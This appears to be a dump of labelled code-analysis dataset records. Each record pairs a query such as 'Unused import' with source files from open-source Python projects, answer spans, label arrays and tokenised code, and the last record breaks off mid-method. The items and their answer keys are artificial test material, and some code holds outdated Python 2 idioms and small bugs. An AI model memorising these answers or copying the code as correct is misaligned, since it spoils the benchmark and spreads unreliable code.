"orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "token", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "3", "6", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "URL", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "200", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "nodes", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Project", "Keys", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "create", "\\u", "table_", "(_", "u", "'", "nodes", "\\u", "project", "keys", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "u", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "project", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "to_", "=_", "orm_", "[_", "'", "project", "s", ".", "Project", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "public", "\\u", "key", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ")_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "private", "\\u", "key", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ")_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "u", "'", "nodes", "'_", ",_", "[_", "'", "Project", "Keys", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Project", "Keys", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "table_", "(_", "u", "'", "nodes", "\\u", "project", "keys", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported with 'import' and 'import from'
lamerman/shellpy/shellpython/core.py
[ { "content": "from __future__ import print_function\nimport os\nimport sys\nimport subprocess\nfrom os import environ as env\nfrom shellpython import config\n\n_colorama_intialized = False\n_colorama_available = True\ntry:\n import colorama\n from colorama import Fore, Style\nexcept ImportError:\n _colorama_available = False\n\n\n\n\n\n\n\n# print all stdout of executed command\n_PARAM_PRINT_STDOUT = 'p'\n\n# print all stderr of executed command\n_PARAM_PRINT_STDERR = 'e'\n\n# runs command in interactive mode when user can read output line by line and send to stdin\n_PARAM_INTERACTIVE = 'i'\n\n# no throw mode. With this parameter user explicitly says that NonZeroReturnCodeError must not be thrown for this\n# specific command. It may be useful if for some reason this command does not return 0 even for successful run\n_PARAM_NO_THROW = 'n'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "os_", "import_", "environ_", "as_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "shell", "python_", "import_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "color", "ama", "\\u", "inti", "alize", "d_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "color", "ama", "\\u", "available_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "colorama_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "colorama_", "import_", "Fore_", ",_", "Style_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "color", "ama", "\\u", "available_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "all", " ", "stdout", " ", "of", " ", "executed", " ", "command_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "PARAM", "\\u", "PRINT", "\\u", "STDOUT_", "=_", "'", "p", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "all", " ", "std", "err", " ", "of", " ", "executed", " ", "command_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "PARAM", "\\u", "PRINT", "\\u", "STD", "ERR_", "=_", "'", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "runs", " ", "command", " ", "in", " ", "interactive", " ", "mode", " ", "whe", "n", " ", "user", " ", "can", " ", "read", " ", "output", " ", "line", " ", "by", " ", "line", " ", "and", " ", "send", " ", "to", " ", "stdin_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "PARAM", "\\u", "INTER", "ACTIVE_", "=_", "'", "i", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "no", " ", "throw", " ", "mode", ".", " ", "With", " ", "this", " ", "parameter", " ", "user", " ", "explicit", "ly", " ", "say", "s", " ", "tha", "t", " ", "Non", "Zero", "Return", "Code", "Error", " ", "must", " ", "not", " ", "be", " ", "throw", "n", " ", "for", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "specific", " ", "command", ".", " ", "It", " ", "may", " ", "be", " ", "usef", "ul", " ", "if", " ", "for", " ", "some", " ", "reason", " ", "this", " ", "command", " ", "doe", "s", " ", "not", " ", "return", " ", "0", " ", "even", " ", "for", " ", "success", "ful", " ", "run_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "PARAM", "\\u", "NO", "\\u", "THRO", "W_", "=_", "'", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
enthought/pyface/pyface/ui/wx/grid/trait_grid_model.py
[ { "content": "#------------------------------------------------------------------------------\n# Copyright (c) 2005, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n# Author: Enthought, Inc.\n# Description: <Enthought pyface package component>\n#------------------------------------------------------------------------------\n\"\"\" A TraitGridModel builds a grid from a list of traits objects. Each row\nrepresents on object, each column one trait from those objects. All the objects\nmust be of the same type. Optionally a user may pass in a list of trait names\ndefining which traits will be shown in the columns and in which order. If this\nlist is not passed in, then the first object is inspected and every trait\nfrom that object gets a column.\"\"\"\n\n# Enthought library imports\nfrom traits.api import Any, Bool, Callable, Dict, Function, HasTraits, \\\n Int, List, Str, Trait, TraitError, Type\n\n# local imports\nfrom .grid_model import GridColumn, GridModel, GridSortEvent\nfrom .trait_grid_cell_adapter import TraitGridCellAdapter\n\n# The classes below are part of the table specification.\n\n\n# The meat.\n\n#### EOF ####################################################################\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TraitGridColumn(GridColumn):\n \"\"\" Structure for holding column specifications in a TraitGridModel. \"\"\"\n\n # The trait name for this column. This takes precedence over method\n name = Trait(None, None, Str)\n\n # A method name to call to get the value for this column\n method = Trait(None, None, Str)\n\n # A method to be used to sort on this column\n sorter = Trait(None, None, Callable)\n\n # A dictionary of formats for the display of different types. If it is\n # defined as a callable, then that callable must accept a single argument.\n formats = Dict(key_trait = Type, value_trait=Trait('', Str, Callable))\n\n # A name to designate the type of this column\n typename = Trait(None, None, Str)\n # note: context menus should go in here as well? but we need\n # more info than we have available at this point\n\n size = Int(-1)", "metadata": "root.TraitGridColumn", "header": "['module', '___EOS___']", "index": 29 }, { "content": "class TraitGridSelection(HasTraits):\n \"\"\" Structure for holding specification information. \"\"\"\n\n # The selected object\n obj = Trait(HasTraits)\n\n # The specific trait selected on the object\n trait_name = Trait(None, None, Str)", "metadata": "root.TraitGridSelection", "header": "['module', '___EOS___']", "index": 52 }, { "content": "class TraitGridModel(GridModel):\n \"\"\" A TraitGridModel builds a grid from a list of traits objects. Each row\n represents on object, each column one trait from those objects. All the\n objects must be of the same type. Optionally a user may pass in a list of\n trait names defining which traits will be shown in the columns and in\n which order. If this list is not passed in, then the first object is\n inspected and every trait from that object gets a column.\"\"\"\n\n # A 2-dimensional list/array containing the grid data.\n data = List()#HasTraits)\n\n # The column definitions\n columns = Trait(None, None, List(Trait(None, Str, TraitGridColumn)))\n\n # The trait to look at to get the row name\n row_name_trait = Trait(None, None, Str)\n\n # Allow column sorting?\n allow_column_sort = Bool(True)\n\n # A factory to generate new rows. If this is not None then it must\n # be a no-argument function.\n row_factory = Trait(None, None, Function)\n\n #########################################################################\n # 'object' interface.\n #########################################################################\n\n #########################################################################\n # 'GridModel' interface.\n #########################################################################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n #########################################################################\n # protected 'GridModel' interface.\n #########################################################################\n\n\n\n #########################################################################\n # protected interface.\n #########################################################################\n\n\n\n\n\n ###########################################################################\n # trait handlers\n ###########################################################################\n\n\n\n\n\n\n\n ###########################################################################\n # private interface.\n ###########################################################################\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TraitGridModel", "header": "['module', '___EOS___']", "index": 62 }, { "content": " def __init__(self, **traits):\n \"\"\" Create a TraitGridModel object. \"\"\"\n\n # Base class constructor\n super(TraitGridModel, self).__init__(**traits)\n\n # if no columns are pass in then create the list of names\n # from the first trait in the list. if the list is empty,\n # the columns should be an empty list as well.\n self._auto_columns = self.columns\n\n if self.columns is None or len(self.columns) == 0:\n if self.data is not None and len(self.data) > 0:\n self._auto_columns = []\n\n # we only add traits that aren't events, since events\n # are write-only\n for name, trait in self.data[0].traits().items():\n if trait.type != 'event':\n self._auto_columns.append(TraitGridColumn(name = name))\n else:\n self._auto_columns = []\n\n # attach trait handlers to the list object\n self.on_trait_event(self._on_data_changed, 'data')\n self.on_trait_event(self._on_data_items_changed, 'data_items')\n\n # attach appropriate trait handlers to objects in the list\n self.__manage_data_listeners(self.data)\n\n # attach a listener to the column definitions so we refresh when\n # they change\n self.on_trait_change(self._on_columns_changed,\n 'columns')\n self.on_trait_event(self._on_columns_items_changed,\n 'columns_items')\n # attach listeners to the column definitions themselves\n self.__manage_column_listeners(self.columns)\n\n # attach a listener to the row_name_trait\n self.on_trait_change(self._on_row_name_trait_changed, 'row_name_trait')\n\n return", "metadata": "root.TraitGridModel.__init__", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 89 }, { "content": " def get_column_count(self):\n \"\"\" Return the number of columns for this table. \"\"\"\n\n return len(self._auto_columns)", "metadata": "root.TraitGridModel.get_column_count", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 137 }, { "content": " def get_column_name(self, index):\n \"\"\" Return the label of the column specified by the\n (zero-based) index. \"\"\"\n\n try:\n name = col = self._auto_columns[index]\n if isinstance(col, TraitGridColumn):\n if col.label is not None:\n name = col.label\n else:\n name = col.name\n except IndexError:\n name = ''\n\n return name", "metadata": "root.TraitGridModel.get_column_name", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 142 }, { "content": " def get_column_size(self, index):\n \"\"\" Return the size in pixels of the column indexed by col.\n A value of -1 or None means use the default. \"\"\"\n\n size = -1\n try:\n col = self._auto_columns[index]\n if isinstance(col, TraitGridColumn):\n size = col.size\n except IndexError:\n pass\n\n return size", "metadata": "root.TraitGridModel.get_column_size", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 158 }, { "content": " def get_cols_drag_value(self, cols):\n \"\"\" Return the value to use when the specified columns are dragged or\n copied and pasted. cols is a list of column indexes. \"\"\"\n\n # iterate over every column, building a list of the values in that\n # column\n value = []\n for col in cols:\n value.append(self.__get_data_column(col))\n\n return value", "metadata": "root.TraitGridModel.get_cols_drag_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 172 }, { "content": " def get_cols_selection_value(self, cols):\n \"\"\" Returns a list of TraitGridSelection objects containing the\n object corresponding to the grid rows and the traits corresponding\n to the specified columns. \"\"\"\n\n values = []\n for obj in self.data:\n for col in cols:\n values.append(TraitGridSelection(obj = obj,\n trait_name = self.__get_column_name(col)))\n\n return values", "metadata": "root.TraitGridModel.get_cols_selection_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 184 }, { "content": " def sort_by_column(self, col, reverse=False):\n \"\"\" Sort model data by the column indexed by col. \"\"\"\n\n # first check to see if we allow sorts by column\n if not self.allow_column_sort:\n return\n\n # see if a sorter is specified for this column\n try:\n column = self._auto_columns[col]\n name = self.__get_column_name(col)\n # by default we use cmp to sort on the traits\n sorter = cmp\n if isinstance(column, TraitGridColumn) and \\\n column.sorter is not None:\n sorter = column.sorter\n except IndexError:\n return\n\n # now sort the data appropriately\n def sort_function(a, b):\n if hasattr(a, name):\n a_trait = getattr(a, name)\n else:\n a_trait = None\n\n if hasattr(b, name):\n b_trait = getattr(b, name)\n else:\n b_trait = None\n\n return sorter(a_trait, b_trait)\n\n self.data.sort(sort_function)\n\n if reverse:\n self.data.reverse()\n\n # now fire an event to tell the grid we're sorted\n print 'firing sort event'\n self.column_sorted = GridSortEvent(index = col, reversed = reverse)\n\n return", "metadata": "root.TraitGridModel.sort_by_column", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 197 }, { "content": " def is_column_read_only(self, index):\n \"\"\" Return True if the column specified by the zero-based index\n is read-only. \"\"\"\n\n return self.__get_column_readonly(index)", "metadata": "root.TraitGridModel.is_column_read_only", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 242 }, { "content": " def get_row_count(self):\n \"\"\" Return the number of rows for this table. \"\"\"\n\n if self.data is not None:\n count = len(self.data)\n else:\n count = 0\n\n return count", "metadata": "root.TraitGridModel.get_row_count", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 248 }, { "content": " def get_row_name(self, index):\n \"\"\" Return the name of the row specified by the\n (zero-based) index. \"\"\"\n\n if self.row_name_trait is not None:\n try:\n row = self._get_row(index)\n if hasattr(row, self.row_name_trait):\n name = getattr(row, self.row_name_trait)\n except IndexError:\n name = str(index + 1)\n\n else:\n name = str(index + 1)\n\n return name", "metadata": "root.TraitGridModel.get_row_name", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 258 }, { "content": " def get_rows_drag_value(self, rows):\n \"\"\" Return the value to use when the specified rows are dragged or\n copied and pasted. rows is a list of row indexes. If there is only\n one row listed, return the corresponding trait object. If more than\n one row is listed then return a list of objects. \"\"\"\n\n # return a list of objects\n value = []\n\n for index in rows:\n try:\n # note that we can't use get_value for this because it\n # sometimes returns strings instead of the actual value,\n # e.g. in cases where a float_format is specified\n value.append(self._get_row(index))\n except IndexError:\n value.append(None)\n\n return value", "metadata": "root.TraitGridModel.get_rows_drag_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 275 }, { "content": " def get_rows_selection_value(self, rows):\n \"\"\" Returns a list of TraitGridSelection objects containing the\n object corresponding to the selected rows. \"\"\"\n\n values = []\n for row_index in rows:\n values.append(TraitGridSelection(obj = self.data[row_index]))\n\n return values", "metadata": "root.TraitGridModel.get_rows_selection_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 295 }, { "content": " def is_row_read_only(self, index):\n \"\"\" Return True if the row specified by the zero-based index\n is read-only. \"\"\"\n\n return False", "metadata": "root.TraitGridModel.is_row_read_only", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 305 }, { "content": " def get_cell_editor(self, row, col):\n \"\"\" Return the editor for the specified cell. \"\"\"\n\n # print 'TraitGridModel.get_cell_editor row: ', row, ' col: ', col\n\n obj = self.data[row]\n trait_name = self.__get_column_name(col)\n trait = obj.base_trait(trait_name)\n if trait is None:\n return None\n\n factory = trait.get_editor()\n\n return TraitGridCellAdapter(factory, obj, trait_name, '')", "metadata": "root.TraitGridModel.get_cell_editor", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 311 }, { "content": " def get_cell_drag_value(self, row, col):\n \"\"\" Return the value to use when the specified cell is dragged or\n copied and pasted. \"\"\"\n\n # find the name of the column indexed by col\n # note that this code is the same as the get_value code but without\n # the potential string formatting\n column = self.__get_column(col)\n obj = self._get_row(row)\n\n value = self._get_data_from_row(obj, column)\n\n return value", "metadata": "root.TraitGridModel.get_cell_drag_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 326 }, { "content": " def get_cell_selection_value(self, row, col):\n \"\"\" Returns a TraitGridSelection object specifying the data stored\n in the table at (row, col). \"\"\"\n\n obj = self.data[row]\n trait_name = self.__get_column_name(col)\n\n return TraitGridSelection(obj = obj, trait_name = trait_name)", "metadata": "root.TraitGridModel.get_cell_selection_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 340 }, { "content": " def resolve_selection(self, selection_list):\n \"\"\" Returns a list of (row, col) grid-cell coordinates that\n correspond to the objects in objlist. For each coordinate, if the\n row is -1 it indicates that the entire column is selected. Likewise\n coordinates with a column of -1 indicate an entire row that is\n selected. For the TraitGridModel, the objects in objlist must\n be TraitGridSelection objects. \"\"\"\n\n cells = []\n for selection in selection_list:\n try:\n row = self.data.index(selection.obj)\n except ValueError:\n continue\n\n column = -1\n if selection.trait_name is not None:\n column = self._get_column_index_by_trait(selection.trait_name)\n if column is None:\n continue\n\n cells.append((row, column))\n\n return cells", "metadata": "root.TraitGridModel.resolve_selection", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 349 }, { "content": " def get_type(self, row, col):\n \"\"\" Return the value stored in the table at (row, col). \"\"\"\n\n typename = self.__get_column_typename(col)\n\n return typename", "metadata": "root.TraitGridModel.get_type", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 374 }, { "content": " def get_value(self, row, col):\n \"\"\" Return the value stored in the table at (row, col). \"\"\"\n\n value = self.get_cell_drag_value(row, col)\n formats = self.__get_column_formats(col)\n\n if value is not None and formats is not None and \\\n formats.has_key(type(value)) and \\\n formats[type(value)] is not None:\n try:\n format = formats[type(value)]\n if callable(format):\n value = format(value)\n else:\n value = format % value\n except TypeError:\n # not enough arguments? wrong kind of arguments?\n pass\n\n return value", "metadata": "root.TraitGridModel.get_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 381 }, { "content": " def is_cell_empty(self, row, col):\n \"\"\" Returns True if the cell at (row, col) has a None value,\n False otherwise.\"\"\"\n\n value = self.get_value(row, col)\n\n return value is None", "metadata": "root.TraitGridModel.is_cell_empty", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 402 }, { "content": " def is_cell_editable(self, row, col):\n \"\"\" Returns True if the cell at (row, col) is editable,\n False otherwise. \"\"\"\n return not self.is_column_read_only(col)", "metadata": "root.TraitGridModel.is_cell_editable", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 410 }, { "content": " def _insert_rows(self, pos, num_rows):\n \"\"\" Inserts num_rows at pos and fires an event iff a factory method\n for new rows is defined. Otherwise returns 0. \"\"\"\n\n count = 0\n if self.row_factory is not None:\n new_data = []\n for i in range(num_rows):\n new_data.append(self.row_factory())\n\n count = self._insert_rows_into_model(pos, new_data)\n self.rows_added = ('added', pos, new_data)\n\n return count", "metadata": "root.TraitGridModel._insert_rows", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 418 }, { "content": " def _delete_rows(self, pos, num_rows):\n \"\"\" Removes rows pos through pos + num_rows from the model. \"\"\"\n\n if pos + num_rows >= self.get_row_count():\n num_rows = self.get_rows_count() - pos\n\n return self._delete_rows_from_model(pos, num_rows)", "metadata": "root.TraitGridModel._delete_rows", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 433 }, { "content": " def _set_value(self, row, col, value):\n \"\"\" Sets the value of the cell at (row, col) to value.\n\n Raises a ValueError if the value is vetoed or the cell at\n (row, col) does not exist. \"\"\"\n\n #print 'TraitGridModel._set_value: new: ', value\n\n new_rows = 0\n # find the column indexed by col\n column = self.__get_column(col)\n obj = self._get_row(row)\n success = False\n if obj is not None:\n success = self._set_data_on_row(obj, column, value)\n else:\n # Add a new row.\n new_rows = self._insert_rows(self.get_row_count(), 1)\n if new_rows > 0:\n # now set the value on the new object\n obj = self._get_row(self.get_row_count() - 1)\n success = self._set_data_on_row(obj, column, value)\n\n if not success:\n # fixme: what do we do in this case? veto the set somehow? raise\n # an exception?\n pass\n\n return new_rows", "metadata": "root.TraitGridModel._set_value", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 441 }, { "content": " def _get_row(self, index):\n \"\"\" Return the object that corresponds to the row at index. Override\n this to handle very large data sets. \"\"\"\n\n return self.data[index]", "metadata": "root.TraitGridModel._get_row", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 474 }, { "content": " def _get_data_from_row(self, row, column):\n \"\"\" Retrieve the data specified by column for this row. Attribute\n can be either a member of the row object, or a no-argument method\n on that object. Override this method to provide alternative ways\n of accessing the data in the object. \"\"\"\n\n value = None\n\n if row is not None and column is not None:\n if not isinstance(column, TraitGridColumn):\n # first handle the case where the column\n # definition might be just a string\n if hasattr(row, column):\n value = getattr(row, column)\n elif column.name is not None and hasattr(row, column.name):\n # this is the case when the trait name is specified\n value = getattr(row, column.name)\n elif column.method is not None and hasattr(row, column.method):\n # this is the case when an object method is specified\n value = getattr(row, column.method)()\n\n return value", "metadata": "root.TraitGridModel._get_data_from_row", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 480 }, { "content": " def _set_data_on_row(self, row, column, value):\n \"\"\" Retrieve the data specified by column for this row. Attribute\n can be either a member of the row object, or a no-argument method\n on that object. Override this method to provide alternative ways\n of accessing the data in the object. \"\"\"\n\n success = False\n\n if row is not None and column is not None:\n if not isinstance(column, TraitGridColumn):\n if hasattr(row, column):\n # sometimes the underlying grid gives us 0/1 instead\n # of True/False. do some conversion here to make that\n # case worl.\n #if type(getattr(row, column)) == bool and \\\n # type(value) != bool:\n # convert the value to a boolean\n # value = bool(value)\n\n setattr(row, column, value)\n success = True\n elif column.name is not None and hasattr(row, column.name):\n # sometimes the underlying grid gives us 0/1 instead\n # of True/False. do some conversion here to make that\n # case worl.\n #if type(getattr(row, column.name)) == bool and \\\n # type(value) != bool:\n # convert the value to a boolean\n # value = bool(value)\n setattr(row, column.name, value)\n success = True\n\n # do nothing in the method case as we don't allow rows\n # defined to return a method value to set the value\n\n return success", "metadata": "root.TraitGridModel._set_data_on_row", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 503 }, { "content": " def _insert_rows_into_model(self, pos, new_data):\n \"\"\" Insert the given new rows into the model. Override this method\n to handle very large data sets. \"\"\"\n\n for data in new_data:\n self.data.insert(pos, data)\n pos += 1\n\n return", "metadata": "root.TraitGridModel._insert_rows_into_model", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 540 }, { "content": " def _delete_rows_from_model(self, pos, num_rows):\n \"\"\" Delete the specified rows from the model. Override this method\n to handle very large data sets. \"\"\"\n del self.data[pos, pos + num_rows]\n\n return num_rows", "metadata": "root.TraitGridModel._delete_rows_from_model", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 550 }, { "content": " def _on_row_name_trait_changed(self, new):\n \"\"\" Force the grid to refresh when any underlying trait changes. \"\"\"\n self.fire_content_changed()\n return", "metadata": "root.TraitGridModel._on_row_name_trait_changed", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 561 }, { "content": " def _on_columns_changed(self, object, name, old, new):\n \"\"\" Force the grid to refresh when any underlying trait changes. \"\"\"\n self.__manage_column_listeners(old, remove=True)\n self.__manage_column_listeners(self.columns)\n self._auto_columns = self.columns\n self.fire_structure_changed()\n return", "metadata": "root.TraitGridModel._on_columns_changed", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 566 }, { "content": " def _on_columns_items_changed(self, event):\n \"\"\" Force the grid to refresh when any underlying trait changes. \"\"\"\n\n 